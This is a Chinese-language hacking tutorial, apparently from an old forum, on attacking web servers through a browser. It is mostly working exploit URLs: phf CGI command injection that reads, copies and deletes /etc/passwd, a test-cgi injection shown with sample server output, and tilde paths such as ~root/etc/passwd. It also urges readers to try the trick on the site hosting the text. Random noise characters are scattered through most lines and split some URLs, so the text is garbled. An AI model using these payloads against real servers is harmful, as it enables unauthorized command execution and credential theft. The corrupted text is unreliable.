在本章我將講述一些利用瀏覽器來進(jìn)行攻擊的方法, b3 f- E: K6 h$ }# O& h2 K7 j
1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用" o# u( W# g% H7 r
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:9 B' N0 M! e$ z0 T; J
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna7 B8 ~- T2 A1 Z# }" H9 j' I
4 x8 L; M2 x7 Y' k! N( c- _me=&Qoffice_phone=
. m0 x+ X2 C, Ghttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=5 T# p; w& c1 g: ~+ f( q# r: M
haqr&Qemail=&Qnickname=&Qoffice_phone=& o: M% {; _3 [1 |3 J
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd+ ]5 j/ Z$ V. a2 O. B0 P
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=! T! g) x, C# H& y& k6 C/ P
http://thegnome.com/~someuser/passwd
! J" Y1 c) F- I7 Q1 ahttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
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! T1 K9 W* H) r9 b" N=haqr&Qemail=&Qnickname=&Qoffice_phone=
/ J+ {( l2 h; S1 }: U上面執(zhí)行的命令是
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ls -la ~someuser4 U1 g% E8 e4 v ~+ r7 w
cp /etc/passwd ~someuser/passwd2 e9 u0 n& v' |$ v M0 R, c3 G
rm ~someuser/passwd
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2。有關(guān)test攻擊, n( o5 l f3 l$ S! l4 X
http://thegnome.com/cgi-bin/test-cgi?\whatever) |& f' C# U6 e! X# m- b$ r- g
服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:% A! p! D0 G- p, k; \8 O
CGI/1.0 test script report:2 F. F0 f, G7 E p8 [* z
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argc is 0. argv is .7 N5 q7 H- M- N. j8 h p6 ]9 Y" s
, c& ?5 {& ?% B- {& q' V+ M' O: GSERVER_SOFTWARE = NCSA/1.4B
4 i7 S, Q- {0 H1 S5 ?6 s" ZSERVER_NAME = thegnome.com( a2 M3 T: P: W
GATEWAY_INTERFACE = CGI/1.1$ \7 Y4 W3 C; C M
SERVER_PROTOCOL = HTTP/1.0
2 M* z( r- z( I+ O- e5 |SERVER_PORT = 80: O+ S' `- J- {2 @7 J
REQUEST_METHOD = GET" j) S) k6 q* z
HTTP_ACCEPT = text/plain, application/x-html, application/html,
( l% \# i! q; d2 S5 i4 _text/html, text/x-html& d! Z7 ]: }; `; u) T
PATH_INFO =
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SCRIPT_NAME = /cgi-bin/test-cgi
/ X4 N: L8 T. n" @QUERY_STRING = whatever' E$ z: x/ w: o2 o! ]& ]7 Q) a
REMOTE_HOST = fifth.column.gov- o( `2 m+ T9 o6 z% \! v# w
REMOTE_ADDR = 200.200.200.200
. C! `1 M( d5 XREMOTE_USER =
' t W1 A# m m( P3 W. rAUTH_TYPE =! Q* d( f$ K5 F* k y
CONTENT_TYPE =4 ]! ?* a+ K* q9 S
CONTENT_LENGTH =
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好吧,讓我們來點(diǎn)趕興趣的6 v: _; Y, w2 U! B4 T9 i/ D* v7 b
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
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. Q: P$ l* M* t% d: f3。~的應(yīng)用0 S, s7 G7 y4 @$ A, U; Y
~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~
0 Q( V4 y& j& e* p- Dhttp://thegnome.com/~root
( u. t d0 g/ v6 T0 N% ehttp://thegnome.com/~root/etc/passwd
- \8 a2 n6 L% V. w% [/ U' ]# {2 U不是在任何平臺(tái)上都通過呦,在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....
5 F; I' E4 h2 n5 b% g- P看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin
9 z! F* a! O4 w* y' ~* ~出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞
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